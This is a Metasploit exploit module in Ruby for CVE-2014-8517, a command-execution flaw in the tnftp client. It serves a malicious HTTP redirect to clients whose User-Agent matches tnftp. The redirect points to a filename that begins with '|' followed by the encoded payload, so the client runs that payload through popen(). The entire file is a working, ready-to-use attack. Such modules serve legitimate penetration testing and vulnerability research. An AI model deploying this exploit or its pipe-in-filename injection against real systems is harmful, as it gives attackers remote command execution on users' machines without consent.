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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpServer
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  include Msf::Auxiliary::Report
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'tnftp "savefile" Arbitrary Command Execution',
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        'Description' => %q{
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          This module exploits an arbitrary command execution vulnerability in
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          tnftp's handling of the resolved output filename - called "savefile" in
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          the source - from a requested resource.
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          If tnftp is executed without the -o command-line option, it will resolve
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          the output filename from the last component of the requested resource.
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          If the output filename begins with a "|" character, tnftp will pass the
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          fetched resource's output to the command directly following the "|"
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          character through the use of the popen() function.
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        },
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        'Author' => [
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          'Jared McNeill', # Vulnerability discovery
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          'wvu' # Metasploit module
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        ],
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        'References' => [
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          ['CVE', '2014-8517'],
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          ['URL', 'https://seclists.org/oss-sec/2014/q4/459']
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        ],
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        'DisclosureDate' => '2014-10-28',
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        'License' => MSF_LICENSE,
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Privileged' => false,
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        'Payload' => { 'BadChars' => '/' },
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        'Targets' => [['ftp(1)', {}]],
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def on_request_uri(cli, request)
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    unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
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      print_status("#{request['User-Agent']} connected")
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      send_not_found(cli)
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      return
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    end
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    if request.uri.ends_with?(sploit)
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      send_response(cli, '')
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      print_good("Executing `#{payload.encoded}'!")
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      report_vuln(
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        :host => cli.peerhost,
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        :name => self.name,
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        :refs => self.references,
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        :info => request['User-Agent']
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      )
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    else
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      print_status("#{request['User-Agent']} connected")
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      print_status('Redirecting to exploit...')
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      send_redirect(cli, sploit_uri)
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    end
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  end
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  def sploit_uri
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    (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
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      Rex::Text.uri_encode(sploit, 'hex-all')
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  end
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  def sploit
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    "|#{payload.encoded}"
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  end
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end
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